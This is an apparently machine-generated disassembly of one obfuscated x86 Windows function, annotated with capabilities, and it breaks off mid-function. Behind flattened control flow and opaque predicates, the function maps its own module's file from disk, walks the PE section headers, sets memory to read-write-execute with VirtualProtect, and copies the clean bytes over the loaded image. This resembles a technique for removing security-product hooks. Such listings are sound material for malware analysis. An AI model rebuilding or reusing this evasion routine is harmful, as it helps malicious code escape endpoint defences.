Function at 0x412cd0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0xa0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa4], eax
mov eax, dword [0x445080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xa0], 0x46e5a804
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0xa8], eax
sub eax, 0x83112107
je 0x4133c5
jmp 0x412d14
mov eax, dword [ebp - 0xa8]
sub eax, 0x836bef34
je 0x41423b
jmp 0x412d2a
mov eax, dword [ebp - 0xa8]
sub eax, 0x8b54d3f7
je 0x413a4f
jmp 0x412d40
mov eax, dword [ebp - 0xa8]
sub eax, 0x8d494f73
je 0x413ac4
jmp 0x412d56
mov eax, dword [ebp - 0xa8]
sub eax, 0x93c5d668
je 0x4143a8
jmp 0x412d6c
mov eax, dword [ebp - 0xa8]
sub eax, 0x9565d9e0
je 0x413da5
jmp 0x412d82
mov eax, dword [ebp - 0xa8]
sub eax, 0x971aab43
je 0x413864
jmp 0x412d98
mov eax, dword [ebp - 0xa8]
sub eax, 0x9735d314
je 0x413b49
jmp 0x412dae
mov eax, dword [ebp - 0xa8]
sub eax, 0x9e4f3e19
je 0x413641
jmp 0x412dc4
mov eax, dword [ebp - 0xa8]
sub eax, 0xa1126189
je 0x413bb2
jmp 0x412dda
mov eax, dword [ebp - 0xa8]
sub eax, 0xa8e93ccc
je 0x41376d
jmp 0x412df0
mov eax, dword [ebp - 0xa8]
sub eax, 0xa93fafe6
je 0x41437b
jmp 0x412e06
mov eax, dword [ebp - 0xa8]
sub eax, 0xa9ca00e1
je 0x414280
jmp 0x412e1c
mov eax, dword [ebp - 0xa8]
sub eax, 0xb116bd2d
je 0x41396e
jmp 0x412e32
mov eax, dword [ebp - 0xa8]
sub eax, 0xb6a7bfc6
je 0x4143f3
jmp 0x412e48
mov eax, dword [ebp - 0xa8]
sub eax, 0xbc847506
je 0x413577
jmp 0x412e5e
mov eax, dword [ebp - 0xa8]
sub eax, 0xbdba57c2
je 0x4142cc
jmp 0x412e74
mov eax, dword [ebp - 0xa8]
sub eax, 0xc7d76edc
je 0x413df5
jmp 0x412e8a
mov eax, dword [ebp - 0xa8]
sub eax, 0xd113b76b
je 0x4134ad
jmp 0x412ea0
mov eax, dword [ebp - 0xa8]
sub eax, 0xd57e0c85
je 0x413ca2
jmp 0x412eb6
mov eax, dword [ebp - 0xa8]
sub eax, 0xd79da1b4
je 0x41344a
jmp 0x412ecc
mov eax, dword [ebp - 0xa8]
sub eax, 0xd99f373c
je 0x41384a
jmp 0x412ee2
mov eax, dword [ebp - 0xa8]
sub eax, 0xdad1fcfe
je 0x41432e
jmp 0x412ef8
mov eax, dword [ebp - 0xa8]
sub eax, 0xe257f81b
je 0x413742
jmp 0x412f0e
mov eax, dword [ebp - 0xa8]
sub eax, 0xe41b7375
je 0x413623
jmp 0x412f24
mov eax, dword [ebp - 0xa8]
sub eax, 0xe47b37b9
je 0x4139e1
jmp 0x412f3a
mov eax, dword [ebp - 0xa8]
sub eax, 0xe7715cab
je 0x41421d
jmp 0x412f50
mov eax, dword [ebp - 0xa8]
sub eax, 0xe9b99697
je 0x413f40
jmp 0x412f66
mov eax, dword [ebp - 0xa8]
sub eax, 0xea5bb1a1
je 0x414267
jmp 0x412f7c
mov eax, dword [ebp - 0xa8]
sub eax, 0xec4a12dc
je 0x414447
jmp 0x412f92
mov eax, dword [ebp - 0xa8]
sub eax, 0xf45deeb2
je 0x4141c4
jmp 0x412fa8
mov eax, dword [ebp - 0xa8]
sub eax, 0xf5cede47
je 0x4142b2
jmp 0x412fbe
mov eax, dword [ebp - 0xa8]
sub eax, 0xfc35685e
je 0x4142fc
jmp 0x412fd4
mov eax, dword [ebp - 0xa8]
sub eax, 0xfd3bc5f9
je 0x4133d4
jmp 0x412fea
mov eax, dword [ebp - 0xa8]
sub eax, 0xfda69872
je 0x4134bc
jmp 0x413000
mov eax, dword [ebp - 0xa8]
sub eax, 0xffa60bed
je 0x414147
jmp 0x413016
mov eax, dword [ebp - 0xa8]
sub eax, 0x6abf008
je 0x41395f
jmp 0x41302c
mov eax, dword [ebp - 0xa8]
sub eax, 0xc4fd36b
je 0x413ad3
jmp 0x413042
mov eax, dword [ebp - 0xa8]
sub eax, 0xf531f81
je 0x413353
jmp 0x413058
mov eax, dword [ebp - 0xa8]
sub eax, 0x1a0bfbd7
je 0x414417
jmp 0x41306e
mov eax, dword [ebp - 0xa8]
sub eax, 0x1dbe43e4
je 0x413dc3
jmp 0x413084
mov eax, dword [ebp - 0xa8]
sub eax, 0x23355d0b
je 0x413650
jmp 0x41309a
mov eax, dword [ebp - 0xa8]
sub eax, 0x24287b59
je 0x41422c
jmp 0x4130b0
mov eax, dword [ebp - 0xa8]
sub eax, 0x29bfc7c4
je 0x413e6b
jmp 0x4130c6
mov eax, dword [ebp - 0xa8]
sub eax, 0x2d6bef66
je 0x4137e3
jmp 0x4130dc
mov eax, dword [ebp - 0xa8]
sub eax, 0x2d8870c1
je 0x41397d
jmp 0x4130f2
mov eax, dword [ebp - 0xa8]
sub eax, 0x34454718
je 0x41430d
jmp 0x413108
mov eax, dword [ebp - 0xa8]
sub eax, 0x3491859f
je 0x41428f
jmp 0x41311e
mov eax, dword [ebp - 0xa8]
sub eax, 0x392afb2b
je 0x4135c8
jmp 0x413134
mov eax, dword [ebp - 0xa8]
sub eax, 0x3dd87b53
je 0x4136a1
jmp 0x41314a
mov eax, dword [ebp - 0xa8]
sub eax, 0x3fc2c0d3
je 0x41438a
jmp 0x413160
mov eax, dword [ebp - 0xa8]
sub eax, 0x45ec2ea6
je 0x413d27
jmp 0x413176
mov eax, dword [ebp - 0xa8]
sub eax, 0x46e5a804
je 0x4132f1
jmp 0x41318c
mov eax, dword [ebp - 0xa8]
sub eax, 0x4eda2b3d
je 0x41442c
jmp 0x4131a2
mov eax, dword [ebp - 0xa8]
sub eax, 0x4fc29201
je 0x413ba3
jmp 0x4131b8
mov eax, dword [ebp - 0xa8]
sub eax, 0x5048a102
je 0x413edd
jmp 0x4131ce
mov eax, dword [ebp - 0xa8]
sub eax, 0x529922ac
je 0x41382c
jmp 0x4131e4
mov eax, dword [ebp - 0xa8]
sub eax, 0x543af3fe
je 0x4138da
jmp 0x4131fa
mov eax, dword [ebp - 0xa8]
sub eax, 0x5a47e3f3
je 0x41431c
jmp 0x413210
mov eax, dword [ebp - 0xa8]
sub eax, 0x60202c4e
je 0x414405
jmp 0x413226
mov eax, dword [ebp - 0xa8]
sub eax, 0x6656da64
je 0x413cb1
jmp 0x41323c
mov eax, dword [ebp - 0xa8]
sub eax, 0x68952776
je 0x414156
jmp 0x413252
mov eax, dword [ebp - 0xa8]
sub eax, 0x6c482a85
je 0x4139fe
jmp 0x413268
mov eax, dword [ebp - 0xa8]
sub eax, 0x6e9feee9
je 0x413c20
jmp 0x41327e
mov eax, dword [ebp - 0xa8]
sub eax, 0x6edb3540
je 0x413eec
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xa0], 0xf531f81
jmp 0x41446b
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x94], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x18]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.0042e340
add esp, 0xc
mov eax, dword [ebp - 0x94]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x9c], eax
mov eax, 0x83112107
mov ecx, 0xfd3bc5f9
cmp dword [ebp - 0x9c], 0
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0xfc35685e
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
add edx, 0x9068f5b3
sub edx, 1
sub edx, 0x9068f5b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x34454718
mov ecx, 0xd79da1b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x60], eax
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
add edx, 0xa09e69bf
sub edx, 1
sub edx, 0xa09e69bf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x34454718
mov ecx, 0xd113b76b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0xfda69872
jmp 0x41446b
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x60]
lea eax, [ebp - 0x18]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x9c]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, eax
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0xa0], 0xbc847506
jmp 0x41446b
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
add edx, 0x8232ffd3
sub edx, 1
sub edx, 0x8232ffd3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a47e3f3
mov ecx, 0x392afb2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x5c]
mov ecx, 0xffffffff
cmp eax, ecx
sete al
and al, 1
mov byte [ebp - 0x55], al
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a47e3f3
mov ecx, 0xe41b7375
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dl, byte [ebp - 0x55]
mov eax, 0x23355d0b
mov ecx, 0x9e4f3e19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0xfc35685e
jmp 0x41446b
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
sub edx, 0x7733a7a7
sub edx, 1
add edx, 0x7733a7a7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdad1fcfe
mov ecx, 0x3dd87b53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x1000002
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x54], eax
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
add edx, 0x5737e320
sub edx, 1
sub edx, 0x5737e320
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdad1fcfe
mov ecx, 0x7555808f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov eax, dword [ebp - 0x84]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov dword [ebp - 0xa0], 0xa8e93ccc
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
sub edx, 0x597487e1
sub edx, 1
add edx, 0x597487e1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa93fafe6
mov ecx, 0x2d6bef66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa93fafe6
mov ecx, 0x529922ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dl, byte [ebp - 0x4d]
mov eax, 0xd99f373c
mov ecx, 0x2d8870c1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xa0], 0x971aab43
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
add edx, 0xd2cdc9a8
sub edx, 1
sub edx, 0xd2cdc9a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3fc2c0d3
mov ecx, 0x543af3fe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x4c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
add edx, 0x857c0499
sub edx, 1
sub edx, 0x857c0499
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3fc2c0d3
mov ecx, 0x6abf008
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0xb116bd2d
jmp 0x41446b
mov dword [ebp - 0xa0], 0xfc35685e
jmp 0x41446b
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
xor ecx, ecx
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x7c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0xa0], 0xe47b37b9
jmp 0x41446b
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xa0], 0x6c482a85
jmp 0x41446b
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
sub edx, 0x69bdfae1
sub edx, 1
add edx, 0x69bdfae1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93c5d668
mov ecx, 0x8b54d3f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x40]
mov edx, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x44]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x78]
mov dword [eax], ecx
mov eax, dword [ebp - 0x74]
mov word [eax], 0
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
add edx, 0x3a33872b
sub edx, 1
sub edx, 0x3a33872b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93c5d668
mov ecx, 0x8d494f73
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0xc4fd36b
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
sub edx, 0x567f9f47
sub edx, 1
add edx, 0x567f9f47
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb6a7bfc6
mov ecx, 0x9735d314
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x74]
movzx eax, word [eax]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
sub edx, 0x1cdd74c8
sub edx, 1
add edx, 0x1cdd74c8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb6a7bfc6
mov ecx, 0x4fc29201
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0xa1126189
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x60202c4e
mov ecx, 0x6e9feee9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov dword [ebp - 0x38], eax
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
sub edx, 0x62a4c0da
sub edx, 1
add edx, 0x62a4c0da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x60202c4e
mov ecx, 0xd57e0c85
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0x6656da64
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
sub edx, 0x2a27989e
sub edx, 1
add edx, 0x2a27989e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a0bfbd7
mov ecx, 0x45ec2ea6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x31], al
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a0bfbd7
mov ecx, 0x9565d9e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dl, byte [ebp - 0x31]
mov eax, 0x3491859f
mov ecx, 0x1dbe43e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
sub eax, 0x593fe9ce
add eax, 0x18
add eax, 0x593fe9ce
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
add eax, 4
add eax, 0x10
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xa0], 0xc7d76edc
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
mov edx, ecx
add edx, 0x75f6bab9
sub edx, 1
sub edx, 0x75f6bab9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4eda2b3d
mov ecx, 0x29bfc7c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov eax, dword [ebp - 0x30]
sub eax, 0x32a48f36
add eax, ecx
add eax, 0x32a48f36
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x74]
movzx eax, word [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
add edx, 0x3d0ab95c
sub edx, 1
sub edx, 0x3d0ab95c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4eda2b3d
mov ecx, 0x5048a102
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0x6edb3540
jmp 0x41446b
mov eax, dword [ebp - 0x6c]
mov dword [eax], 0
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [eax + 8]
mov eax, dword [ebp - 0x90]
mov edx, dword [eax]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, edx
xor edx, edx
sub edx, esi
add eax, edx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x6c]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x68]
mov byte [eax], cl
mov eax, dword [ebp - 0x90]
mov edx, dword [eax]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add edx, 0xaad10ea4
add edx, eax
sub edx, 0xaad10ea4
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add ecx, 0x42faf8cf
add ecx, eax
sub ecx, 0x42faf8cf
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0042e4a0
add esp, 0xc
mov eax, dword [ebp - 0x6c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x90]
mov esi, dword [eax]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
add esi, 0x264a9b84
add esi, eax
sub esi, 0x264a9b84
mov eax, dword [ebp - 0x6c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x20], al
mov dword [ebp - 0xa0], 0x791d5fd5
jmp 0x41446b
mov dword [ebp - 0xa0], 0x68952776
jmp 0x41446b
mov ecx, dword [0x446594]
mov eax, dword [0x446590]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7008df51
mov ecx, 0xf45deeb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov eax, dword [ebp - 0x68]
mov cl, byte [ebp - 0x1f]
mov byte [eax], cl
mov eax, dword [0x446594]
mov ecx, dword [0x446590]
mov edx, eax
sub edx, 0x56f8b60
sub edx, 1
add edx, 0x56f8b60
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7008df51
mov ecx, 0xe7715cab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xa0], eax
jmp 0x41446b
mov dword [ebp - 0xa0], 0x24287b59
jmp 0x41446b
mov dword [ebp - 0xa0], 0x836bef34
jmp 0x41446b
mov eax, dword [ebp - 0x74]
mov ax, word [eax]
xor ecx, ecx
sub cx, ax
xor eax, eax
sub ax, 1
add cx, ax
xor eax, eax
sub ax, cx
mov word [ebp - 0x1e], ax
mov dword [ebp - 0xa0], 0xea5bb1a1
jmp 0x41446b
mov eax, dword [ebp - 0x74]
mov cx, word [ebp - 0x1e]
mov word [eax], cx
mov dword [ebp - 0xa0], 0xa9ca00e1
jmp 0x41446b
mov dword [ebp - 0xa0], 0xc4fd36b
jmp 0x41446b
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
